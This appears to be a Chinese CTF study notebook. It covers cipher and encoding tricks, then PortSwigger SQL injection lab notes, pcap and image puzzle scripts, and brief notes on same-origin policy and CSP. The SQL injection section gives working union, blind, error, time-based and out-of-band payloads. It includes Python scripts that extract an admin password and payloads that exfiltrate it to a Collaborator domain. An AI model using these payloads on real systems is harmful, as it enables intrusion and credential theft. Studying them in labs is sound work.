如果不是Decabit编码，可以试试看把+-分别用01替换

仿射密码

有两个key，key-a为必须是(1,3,5,7,9,11,15,17,19,21,23,25)中的一个,key-b是0~25的数字

可以使用在线网站CTF在线工具-在线仿射密码加密|在线仿射密码解密|仿射密码算法|Affine Cipher (hiencode.com) 或者随波逐流解密

1
2
3

gezx{j13p5oznp_1t_z_900y_k3z771h_k001}
key-a=17key-b=77
flag{w13e5hake_1s_a_900d_t3a771c_t001}

BrainFuck编码

可以直接使用在线网站解码Brainfuck/OoK加密解密 - Bugku CTF平台 ，但是flag可能会藏在内存中然后被删去导致无法输出flag，因此可以用下面这个代码输出之前放在内存中的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

#define  _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
char s[30000]={0};
char code[2000];
int len = 0;
int stack[10000];
int stack_len=0;
int main()
{
    char c;
    int i=0,j,k,x=0;
    FILE* f;
    char* p=s+10000;
    f=fopen("./bf.txt","r");
    while(fread(&code[len],1,1,f)==1)
{
        len++;
    }
    setbuf(stdout,NULL);
    while(i<len) {
        switch(code[i]) {
            case '+':
                (*p)++;
                break;
            case '-':
                (*p)--;
                break;
            case '>':
                p++;
                break;
            case '<':
                p--;
                break;
            case '.':
                putchar((int)(*p));
                break;
            case ',':
                *p=getchar();
                break;
            case '[':
                if(*p) {
                    stack[stack_len++]=i;
                } else {
                    for(k=i,j=0;k<len;k++) {
                        code[k]=='['&&j++;
                        code[k]==']'&&j--;
                        if(j==0)break;
                    }
                    if(j==0)
                        i=k;
                    else {
                        fprintf(stderr,"%s:%dn",__FILE__,__LINE__);
                        return 3;
                    }
                }
                break;
            case ']':
                i=stack[stack_len-- - 1]-1;
                break;
            default:
                break;
        }
        i++;
        x++;
    }
    for(int i = 0; i < stack_len; i++) {
printf("%c", stack[i]);
}
    printf("\n");
    for(int i = 0; i < 30000; i++) {
printf("%c", s[i]);
}
    return 0;
}

Gronsfeld密码

CTF在线工具-在线Gronsfeld密码加密|在线Gronsfeld密码解密|Gronsfeld密码算法|Gronsfeld Cipher (hiencode.com)

1
2
3
4
5
6
7
8

# 解密脚本
from pycipher import Gronsfeld

cipher = 'TGLBOMSJNSRAJAZDEZXGHSJNZWHG'
key = [1,50,61,8,9,20,63,41]
secret = Gronsfeld(key).decipher(cipher)

print(secret)

UUencode编码

看起来有点像base85

Uuencode编码（加密）；Uuencode解码（解密）｜文字加密和解密工具 (qqxiuzi.cn)

AAencode编码

XXencode编码

随波逐流直接解密即可

无字天书(whitespace)或者snow隐写

一个文件打开都是空白字符

可以使用在线网站解密：https://vii5ard.github.io/whitespace/ 复制进去直接run即可

snow隐写，到snowdos32工具目录下运行 SNOW.EXE -C -p password flag.txt 命令即可

中文电报（中文电码）

类似于下面这种四位数一组的编码，直接在线网站解码即可https://dianma.bmcx.com/

5337 5337 2448 2448 0001 2448 0001 2161 1721 1869 6671 0008 3296 4430 0001 3945 0260 3945 1869 4574 5337 0344 2448 0037 5337 5337 0260 0668 5337 6671 0008 3296 1869 6671 0008 3296 1869 2161 1721

Quote-Printable编码

类似于下面这样的编码，直接使用 在线网站 解密即可

flag{ichunqiu_=E6=8A=80=E6=9C=AF=E6=9C=89=E6=B8=A9=E5=BA=A6}

flag{ichunqiu_技术有温度}

Unicode编码

这个编码有很多种格式，比如+U、\u、\x、&#啥的

Unicode code converter (r12a.github.io)

中文ascii码

1

27880 30693 25915 21892 38450 23454 39564 23460 21457 36865 112 108 98 99 116 102 33719 21462 21069 27573 102 108 97 103 20851 27880 79 110 101 45 70 111 120 23433 20840 22242 38431 22238 22797 112 108 98 99 116 102 33719 21462 21518 27573 102 108 97 103

加上&#和分号，直接 CyberChef 或者 在线网站 解密即可

培根密码

由 a、b 或者 A、B 或者 0、1 组成的密文，密文中只有两种字符，随波逐流一把梭

锟斤拷

这个东西的成因是 Unicode 的替换字符（Replacement Character，�）于 UTF-8 编码下的结果 EF BF BD 重复，在 GBK 编码中被解释为汉字 “锟斤拷”（EF BF BD EF BF BD）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

import os

a = input('请选择你的功能（1、加密 2、解密）：')
if a == "1":
    s = input('请输入你要加密的话：')
    utf = s.encode('utf')
    gbk = s.encode('utf').decode('gbk', errors='ignore')
    if len(s)%2 == 1:
        gbk = gbk + "�"
    print(gbk)
    os.system("pause")
if a == "2":
    s = input('请输入你要解密的话：')
    gbk = s.encode('gbk')
    utf = s.encode('gbk').decode('utf-8', errors='ignore')
    print(utf)
    os.system("pause")

棋盘密码

直接使用CaptfEncoder或者随波逐流等工具输入密文和密钥解密即可

ADFGVX密码 默认棋盘：ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8 默认密钥：german ADFGX密码 默认棋盘：phqgmeaynofdxkrcvszwbutil 默认密钥：german 波利比奥斯方阵密码 密钥：随机 默认密文字符：ABCDE

福尔摩斯密码

利用编程代码画图

1. LOGO编程语言【例题-[RCTF2019]draw 】 在线编译器：https://www.calormen.com/jslogo/
2. CFRS编程语言【例题-2024宁波市赛初赛 Misc2】 在线画图网站：https://susam.net/cfrs.html

SQL injection cheat sheet | Web Security Academy (portswigger.net)

SQL injection - Fc04dB’s BLOG

🧪实验1：WHERE子句中的SQL注入漏洞允许检索隐藏数据

payload：' OR 1=1--

颠覆应用逻辑

• 对于执行以下SQL来检查凭据，如果查询返回用户的详细信息，则登录成功，否则，登录失败

  1	SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

• 在这种情况下，用户可以以任何身份登录，而无需密码。通过--注释掉密码的判断，即可登录成功。

• 例子：

  1 2	SELECT * FROM users WHERE username = 'administrator'--' AND password = '' # 此查询将返回username为administrator的用户的详细信息，而不需要密码

🧪实验2：允许绕过登录的SQL注入漏洞

”万能密码”payload：administrator'--

确定所需的列数

• 使用一系列ORDER BY子句，直到应用程序返回错误

  1 2 3 4 5 6 7 8

  ' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- etc. # 这一系列有效负载修改了原始查询，按照结果集中不同列对结果进行排序 # `ORDER BY`子句中的列可以由其索引指定，因此不需要知道任何列名 # 当指定的列索引超出了结果集中的列数时，应用程序通常会返回错误

• 使用一系列指定不同数量的空值的UNION SELECT语句，直到应用程序不再返回错误

  1 2 3 4 5 6 7

  ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- etc. # 如果NULL的数量不匹配，数据库将返回错误 # NULL可以为每一种常见的数据类型，因此当列数正确时，能最大限度地提高了有效负载成功的机会

🧪实验3：SQL注入UNION攻击，确定查询返回的列数

Oracle上DUAL的内置表

Oracle 数据库中的 DUAL 表是一个特殊的单行单列表，通常用于从数据库中获取常量值或表达式的结果。以下是关于 DUAL 表的一些要点：

1. 定义: DUAL 表是 Oracle 自动创建的，始终存在于每个 Oracle 数据库中。其主要目的是为没有特定表的查询提供一个虚拟的表。
2. 结构: DUAL 表只有一列，列名为 DUMMY，类型为 VARCHAR2(1)，并且只包含一行数据，值为 'X'。

• 在Oracle上，每个SELECT语句必须包含FROM关键字并指定一个有效的表。

• Oracle上有一个名为DUAL的内置表，因此在Oracle上执行UNION攻击时查询可以是：

  1	' UNION SELECT NULL FROM DUAL--

查找具有有用数据类型的列

• SQL注入UNION攻击能从注入的查询中检索结果。通常想要检索的数据是字符串形式的。这意味着需要在原始查询结果中找到数据类型为字符串数据或与字符串数据兼容的一个或多个列。

• 确定所需列的数量后，可以探测每一列以测试它是否可以容纳字符串数据，可以提交一系列的UNION SELECT的payload，依次将字符串数据插入到每一列中。如果列数据类型与字符串数据不兼容，则注入的查询将导致数据库错误。如果没有发生错误，并且应用程序的响应包含一些附加内容（包括注入的字符串值），则相关列适合于检索字符串数据。

• 例子：

  1 2 3 4 5

  # 首先确定查询返回的列数是4列，然后探测每一列以测试它是否可以容纳字符串数据 ' UNION SELECT 'a',NULL,NULL,NULL-- ' UNION SELECT NULL,'a',NULL,NULL-- ' UNION SELECT NULL,NULL,'a',NULL-- ' UNION SELECT NULL,NULL,NULL,'a'--

🧪实验4：SQL注入UNION攻击，查找具有有用数据类型的列

payload:?category=Accessories' UNION SELECT NULL,'eDqVcW',NULL--

🧪实验5：SQL注入UNION攻击，从其他表中检索数据

• 首先确认列数：

  1 2 3

  ?category=Accessories' UNION SELECT NULL-- ?category=Accessories' UNION SELECT NULL,NULL-- # 成功，说明返回的列数为2

• 然后确定每一列的类型：

  1 2 3

  ?category=Accessories' UNION SELECT 'a',NULL-- ?category=Accessories' UNION SELECT NULL,'a'-- # 两个都成功，说明两列都是字符串类型

• 使用?category=Accessories' UNION SELECT username, password FROM users进行注入，成功获取username和password列的数据

在单个列中检索多个值

• 在某些情况下，上一个示例中的查询可能只返回单个列。通过将值连接在一起，可以在此单个列中同时检索多个值。可以包含分隔符以区分组合值。

• 例子：

  1 2 3 4 5 6

  ' UNION SELECT username || '~' || password FROM users-- # 在Oracle数据库中，可以使用`||`连接运算符来连接值 # 将`username`和`password`连接在一起，并使用`~`作为分隔符，查询的结果包含所有用户名和密码例如： # ··· # administrator~s3cure # wiener~peter

🧪实验6：SQL注入UNION攻击，在单个列中检索多个值

• 首先确认列数：

  1 2 3

  ?category=Lifestyle' UNION SELECT NULL-- ?category=Lifestyle' UNION SELECT NULL,NULL-- # 成功，说明返回的列数为2

• 然后确认每一列的类型：

  1 2 3 4

  ?category=Lifestyle' UNION SELECT 'a',NULL-- # 报错，说明第一列是不是字符串类型 ?category=Lifestyle' UNION SELECT NULL,'a'-- # 成功，说明第二列是字符串类型

• 只有一列是字符串，因此需要在单个列中检索username和password拼接值。

• 猜测这是一个mysql数据库，因此使用CONCAT函数进行拼接：

  1	?category=Lifestyle' UNION SELECT NULL,CONCAT(username, '~', password) FROM users--

检查SQL注入攻击中的数据库

• 要利用SQL注入漏洞，通常需要查找有关数据库的信息，这包括：
  • 数据库软件的类型和版本
  • 数据库包含的表和列

检查数据库的版本和类型

以下是一些用来确定某些常用数据库类型的数据库版本：

🧪实验7：SQL注入攻击，查询数据库类别和版本

Oracle:'+UNION+SELECT+BANNER,+NULL+FROM+v$version--

MySQL and Microsoft:'+UNION+SELECT+@@version,+NULL#

列出数据库的内容

• 大多数数据库类型（Oracle除外），都有一个名为information_schema的系统表，其中包含有关数据库的信息。可以使用这个表来列出数据库中的表和列。

• 例：

  • 可以查询information_schema.tables表来列出数据库中的表:

    1	SELECT * FROM information_schema.tables

  • 可以查询information_schema.columns表来列出数据库中的列:

    1	SELECT * FROM information_schema.columns WHERE table_name = 'users'

Oracle:

可以通过查询 all_tables 列出表：

1

SELECT * FROM all_tables

可以通过查询 all_tab_columns 列出列：

1

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

🧪实验8：SQL注入攻击，列出非Oracle数据库上的数据库内容

查询数据库中的表：

1

?category=Gifts' UNION SELECT table_name, NULL FROM information_schema.tables--

发现一个名为users_kdzjph的表，猜测是目标表，尝试查询表中的列：

1

?category=Gifts' UNION SELECT COLUMN_NAME, NULL FROM information_schema.columns WHERE table_name = 'users_kdzjph'--  

查询到了password_ifndxh和username_aeoisd列，查询所有用户的用户名和密码：

1

?category=Gifts' UNION SELECT username_aeoisd,password_ifndxh FROM users_kdzjph--  

Oracle:

查表：'+UNION+SELECT+table_name,NULL+FROM+all_tables--

查字段名：'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ABCDEF'--

查字段值：'+UNION+SELECT+USERNAME_ABCDEF,+PASSWORD_ABCDEF+FROM+USERS_ABCDEF--

通过触发条件响应利用SQL盲注（布尔盲注）

• 假设有一个名为Users的表，其中包含username和password列，以及一个名为Administators的用户。我们可以通过发送一系列输入来确定此用户的密码，以便每次测试密码的一个字符。

• 首先可以输入：

  1	xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

• 这将返回Welcome back，表明注入的条件为真，因此密码的第一个字符大于m。

• 然后可以输入：

  1	xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

• 这将不返回Welcome back，表明注入的条件为假，因此密码的第一个字符不大于t。

• 最后输入以下信息，它返回Welcome back，表明密码的第一个字符是s：

  1	xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

• 通过重复这个过程，可以确定密码的每个字符。

在Oracle数据库中，**SUBSTRING函数被称为SUBSTR。**

🧪实验9：带条件响应的SQL盲注

确定注入点：在cookie的TrackingId中注入' AND '1'='1和' AND '1'='2，发现返回的结果不一样，说明存在注入点

拼接TrackingId，使用AND条件来判断密码的每一位

1

' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = 'm

网上的一个脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

import requests


url = "https://0a3900f0033fc71e8204153c00fe0043.web-security-academy.net/filter?category=Accessories"
password=""

# cookies = {"TrackingId": "NEcgTt5umCL1PorI' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) < 'm; session=TAMJjOVBIkH0Dxb2XqzQwIFSZ0jWXvFa"}
TrackingId_1="zWJ9CGed6L86Ftfe' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), "
# TrackingId_2 position
TrackingId_3=", 1) "
TrackingId_4="<"
TrackingId_5=" '"
# TrackingId_6 chr(mid)
TrackingId_7="; session=BEvE38xApG4RkIMy1pDW4ZsFvn1khJEq"

position = 1

while True:
    # 二分法查找
    low = 32
    high = 127
    print("position: ",position)
    while low < high:

        mid = (low + high+1) // 2   # 将mid的计算方式调整为(low + high + 1) // 2，可以确保在最后一次循环中不会陷入死循环。
        if chr(mid) == ";": # 由于cookie中不能直接使用分号，所以需要转义
            cookies = {"TrackingId": TrackingId_1 + str(position) + TrackingId_3 + TrackingId_4 + TrackingId_5 + "\\"+chr(mid) + TrackingId_7}
        else:
            cookies = {"TrackingId": TrackingId_1 + str(position) + TrackingId_3 + TrackingId_4 + TrackingId_5 + chr(mid) + TrackingId_7}
        response = requests.get(url, cookies=cookies)
        if "Welcome back!" in response.text:
            high = mid -1
        else:
            low = mid
        print("position: ",position,"high: ", chr(high),str(high), "low: ", chr(low),str(low), "mid: ", chr((low + high+1) // 2),str((low + high+1) // 2))
    if low == high:
        print(f"找到第{position}个字符,ASCII值：{low}")
        if chr(low) == ";":
            cookies = {"TrackingId": TrackingId_1 + str(position) + TrackingId_3 + TrackingId_4 + TrackingId_5 + "\\"+chr(low) + TrackingId_7}
        else:
            cookies = {"TrackingId": TrackingId_1 + str(position) + TrackingId_3 + "=" + TrackingId_5 + chr(low) + TrackingId_7}
        if "Welcome back!" in requests.get(url, cookies=cookies).text:
            password += chr(low)
            print(password)
            position += 1
        else:
            break
    else:
        break
print(password)

portswigger的测试密码长度：

1

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a

基于错误的SQL注入(报错盲注)

• • 假设发送了两个请求，依次包含以下TrackingId cookie值：

    1 2	xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

  • 这些输入使用CASE关键字来测试条件，并根据表达式是否为true返回不同的表达式：

    • 对于第一个输入，CASE表达式的计算结果为’a’，这不会导致任何错误。
    • 对于第二个输入，它的计算结果为1/0，这会导致被零除错误。

  • 如果错误导致应用程序的HTTP响应不同，则可以使用它来确定注入的条件是否为true。

• 使用此技术，您可以通过一次测试一个字符来检索数据：

  1	xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

🧪实验10：带条件错误的SQL盲注入

查询一个特殊的表：'||(SELECT '' FROM dual)||'

表明数据库是Oracle。

验证是否收到错误消息。

1

TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

验证错误是否消失。这表明您可以根据特定条件的真值有条件地触发错误。

1

TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

使用以下查询来检查用户名 administrator 是否存在：

1

TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

SUBSTR()函数从密码中提取单个字符

1

'||(select case when substr(password,1,1)='a' then to_char(1/0) else'' end from users where username='administrator')||'

网上没有脚本，决定自己改出来一个，同一个靶场，思路很相似：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

import requests


url = "https://0ae50075047f8e5d802117e600dd0077.web-security-academy.net/filter?category=Corporate+gifts"
password=""

# cookies = {"TrackingId": "NEcgTt5umCL1PorI' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) < 'm; session=TAMJjOVBIkH0Dxb2XqzQwIFSZ0jWXvFa"}
TrackingId_1="sJ8uCAVUipujY6rB'||(select case when substr(password, "
# TrackingId_2 position
TrackingId_3=", 1) "
TrackingId_4="<"
TrackingId_5=" '"
# TrackingId_6 chr(mid)
TrackingId_7="' then to_char(1/0) else'' end from users where username='administrator')||'; session=U6BVKmeXwCXannuNReL25Y1VhMF2xmSx"

position = 1

while True:
    # 二分法查找
    low = 32
    high = 127
    print("position: ",position)
    while low < high:

        mid = (low + high+1) // 2   # 将mid的计算方式调整为(low + high + 1) // 2，可以确保在最后一次循环中不会陷入死循环。
        if chr(mid) == ";": # 由于cookie中不能直接使用分号，所以需要转义
            cookies = {"TrackingId": TrackingId_1 + str(position) + TrackingId_3 + TrackingId_4 + TrackingId_5 + "\\"+chr(mid) + TrackingId_7}
        else:
            cookies = {"TrackingId": TrackingId_1 + str(position) + TrackingId_3 + TrackingId_4 + TrackingId_5 + chr(mid) + TrackingId_7}
        response = requests.get(url, cookies=cookies)
        if "Internal Server Error" in response.text:
            high = mid -1
        else:
            low = mid
        print("position: ",position,"high: ", chr(high),str(high), "low: ", chr(low),str(low), "mid: ", chr((low + high+1) // 2),str((low + high+1) // 2))
    if low == high:
        print(f"找到第{position}个字符,ASCII值：{low}")
        if chr(low) == ";":
            cookies = {"TrackingId": TrackingId_1 + str(position) + TrackingId_3 + TrackingId_4 + TrackingId_5 + "\\"+chr(low) + TrackingId_7}
        else:
            cookies = {"TrackingId": TrackingId_1 + str(position) + TrackingId_3 + "=" + TrackingId_5 + chr(low) + TrackingId_7}
        if "Internal Server Error" in requests.get(url, cookies=cookies).text:
            password += chr(low)
            print(password)
            position += 1
        else:
            break
    else:
        break
print(password)

通过详细的SQL错误消息提取敏感数据

• 数据库的错误配置有时会导致详细的错误消息。这些可能会提供对攻击者有用的信息。例如，考虑以下错误消息，它在将单引号注入id参数后出现：

  1	Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char

• 这显示了应用程序使用我们的输入构造的完整查询。我们可以看到，在本例中，我们将注入到WHERE语句中的单引号字符串中。这使得构造包含恶意负载的有效查询变得更加容易。注释掉查询的其余部分可以防止多余的单引号破坏语法。

• 有时候，您可能会导致应用程序生成一条错误消息，其中包含查询返回的某些数据。这有效地将一个原本是盲目的SQL注入漏洞变成了一个可见的漏洞。

• 您可以使用CAST()函数来实现这一点。它使您能够将一种数据类型转换为另一种数据类型。例如，假设一个查询包含以下语句：

  1	CAST((SELECT example_column FROM example_table) AS int)

• 通常，你试图读取的数据是一个字符串。尝试将其转换为不兼容的数据类型（如int）可能会导致类似以下的错误：

  1	ERROR: invalid input syntax for type integer: "Example data"

• 如果字符限制阻止您触发条件响应，这种类型的查询也可能很有用。

🧪实验11：可视的基于错误的SQL注入

CAST()是PostgreSQL数据库用于将某种数据类型的表达式显式转换为另一种数据类型的函数。

CAST (expression AS data_type)
expression：任何有效的表达式。
AS：用于分隔两个参数，在AS之前的是要处理的数据，在AS之后是要转换的数据类型。

' and 1=cast((select 'aaaaaa') as int)--，这里报错显示了我们select查询的内容，可以利用

尝试限制查询一行

1

' and 1=cast((select username from users limit 1) as int)--

1

' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

通过触发时间延迟来利用SQL盲目注入（延时盲注）

• 如果应用程序在执行SQL查询时捕获数据库错误并妥善处理它们，则应用程序的响应不会有任何差异。这意味着前面的诱导条件错误的技术将不起作用。

• 在这种情况下，通常可以通过根据注入条件为true还是false触发时间延迟来利用SQL盲注入漏洞。由于SQL查询通常由应用程序同步处理，因此延迟SQL查询的执行也会延迟HTTP响应。这允许您根据接收HTTP响应所花费的时间来确定注入条件的真实性。

• 触发时间延迟的技术特定于所使用的数据库类型。例如，在Microsoft SQL Server上，您可以使用以下内容来测试条件并根据表达式是否为true触发延迟：

  1 2	'; IF (1=2) WAITFOR DELAY '0:0:10'-- '; IF (1=1) WAITFOR DELAY '0:0:10'--

  • 在这种情况下，第一个查询将不会触发延迟，而第二个查询将会触发10秒的延迟。

• 使用这种技术，我们可以通过一次测试一个字符来检索数据：

  1	'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Time delays

在处理查询时，可能会导致数据库出现时间延迟。以下将导致 10 秒的无条件时间延迟。

🧪实验12：带时间延迟的SQL盲注入

1

'||pg_sleep(10) --

🧪实验12：带时间延迟的SQL盲注入的信息检索

判断密码的每个字符

1

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,2,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

import requests
import time

url = "https://0a5a00a303a623ac8025e45500b90053.web-security-academy.net/filter?category=Gifts"
password = ""

# Cookie的各部分
TrackingId_1 = "SObEFc5xM2dl5vgj'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,"
TrackingId_3 = ",1) "
TrackingId_4 = "<"
TrackingId_5 = "'"
TrackingId_7 = "')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--; session=gbwVNPL5bdlx3oFhb0tWpMQELJBEtc3S"

position = 1  # 字符位置初始化

# 逐字提取密码
while True:
    # 使用二分法查找每个字符的ASCII值
    low = 32  # ASCII值的下界（可打印字符的起始值）
    high = 127  # ASCII值的上界（可打印字符的结束值）
    print(f"正在提取第 {position} 个字符...")

    while low < high:
        # 计算mid值，避免死循环
        mid = (low + high + 1) // 2

        # 特殊字符处理
        if chr(mid) == ";":
            cookies = {
                "TrackingId": TrackingId_1 + str(position) + TrackingId_3 + TrackingId_4 + TrackingId_5 + "\\" + chr(mid) + TrackingId_7}
        else:
            cookies = {"TrackingId": TrackingId_1 + str(position) + TrackingId_3 + TrackingId_4 + TrackingId_5 + chr(mid) + TrackingId_7}

        # 记录请求开始时间
        start_time = time.time()

        # 发起请求并判断返回结果
        response = requests.get(url, cookies=cookies)

        # 计算请求时间
        elapsed_time = time.time() - start_time

        # 判断是否触发了5秒延迟
        if elapsed_time >= 5:
            high = mid - 1
        else:
            low = mid

        print(
            f"position: {position}, high: {chr(high)} ({high}), low: {chr(low)} ({low}), mid: {chr(mid)} ({mid}), elapsed_time: {elapsed_time}")

    # 确定字符
    if low == high:
        print(f"找到第 {position} 个字符, ASCII 值: {low}")
        password += chr(low)
        print(f"当前提取的密码: {password}")
        position += 1
    else:
        break

print("完整密码:", password)

找完之后不会停，可以先注入确定长度

利用带外（OAST）技术进行SQL盲注入（带外盲注）

• 应用程序可能执行与上一个示例相同的SQL查询，但异步执行。应用程序继续在原始线程中处理用户的请求，并使用另一个线程使用跟踪cookie执行SQL查询。该查询仍然容易受到SQL注入的攻击，但目前为止所描述的技术都不起作用。应用程序的响应不依赖于查询是否返回任何数据、是否发生数据库错误或执行查询所花费的时间。
• 在这种情况下，通常可以通过触发与您控制的系统的带外网络交互来利用SQL盲注入漏洞。这些可以基于注入的条件来触发，以每次推断一条信息。更有用的是，数据可以直接在网络交互中泄露。
• 多种网络协议可用于此目的，但通常最有效的是DNS（域名服务）。许多生产网络允许DNS查询的自由出口，因为它们对于生产系统的正常运行至关重要。

🧪实验13：带外交互的SQL盲注入

触发 DNS 查询的技术特定于所使用的数据库类型。例如，Microsoft SQL Server 上的以下输入可用于在指定域上进行 DNS 查找：

1

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

可以将 SQL 注入与基本的 XXE 技术相结合，如下所示：

1

TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

🧪实验14：带外数据渗出的SQL盲注入

确认了触发带外交互的方法后，您可以使用带外通道从易受攻击的应用程序中泄露数据。例如：

1

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

payload:

1

TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

wireshark 打开数据包

全局搜索响应码为 200 的包第三步：经过很多尝试找出正确 ip：

下面记事本是赛题下线之前的记录，重新上线后一个一个尝试发现正确 flag

也可以通过脚本提取所有 ip 然后一个一个试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

from scapy.all import rdpcap

# 读取 pcap 文件
packets = rdpcap('D:\\123\\3\\c.pcap')

# 存储唯一的 IP 地址
ip_addresses = set()

for packet in packets:
    if packet.haslayer('IP'):
        ip_addresses.add(packet['IP'].src)
        ip_addresses.add(packet['IP'].dst)

# 打印所有唯一的 IP 地址
for ip in ip_addresses:
    print(ip)

# MISC04

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

from PIL import Image
from tqdm import tqdm

def peano(n):
    if n == 0:
        return [[0,0]]
    else:
        in_lst = peano(n - 1)
        lst = in_lst.copy()
        px,py = lst[-1]
        lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px + 1 + i[0], py - i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
        return lst

order = peano(6)

img = Image.open(r"D:\\123\\4\\1.png")

width, height = img.size

block_width = width # // 3
block_height = height # // 3

new_image = Image.new("RGB", (width, height))

for i, (x, y) in tqdm(enumerate(order)):
    # 根据列表顺序获取新的坐标
    new_x, new_y = i % width, i // width
    # 获取原图像素
    pixel = img.getpixel((x, height - 1 - y))
    # 在新图像中放置像素
    new_image.putpixel((new_x, new_y), pixel)

new_image.save("D:\\123\\4\\2.png")

# 同源策略

同源策略（Same origin policy）是一种约定

是浏览器的行为，是为了保护本地数据不被 JavaScript 代码获取回来的数据污染，因此拦截的是客户端发出的请求回来的数据接收，即请求发送了，服务器响应了，但是无法被浏览器接收。

浏览器执行 javascript 脚本时，会检查这个脚本属于哪个页面，如果不是同源页面，就不会被执行

一个源的定义：如果两个页面的协议，端口（如果有指定）和域名都相同，则两个页面具有相同的源

不受同源策略限制的

1. 页面中的链接，重定向以及表单提交是不会受到同源策略限制的。
2. 跨域资源的引入是可以的。但是 js 不能读写加载的内容。如嵌入到页面中的 <script src="..."></script>，<img>，<link>，<iframe> 等。

# CSP

内容安全策略（Content Security Policy，简称 CSP）是一种以可信白名单作机制，来限制网站是否可以包含某些来源内容，缓解广泛的内容注入漏洞，比如 XSS。 简单来说，就是我们能够规定，我们的网站只接受我们指定的请求资源。默认配置下不允许执行内联代码（ <script> 块内容，内联事件，内联样式），以及禁止执行 eval() , newFunction() , setTimeout([string], …) 和setInterval([string], …) 。

# CSP 指令

• default-src : 定义针对所有类型（js/image/css/font/ajax/iframe/ 多媒体等）资源的默认加载策略，如果某类型资源没有单独定义策略，就使用默认的。
• script-src : 定义针对 JavaScript 的加载策略。
• style-src : 定义针对样式的加载策略。
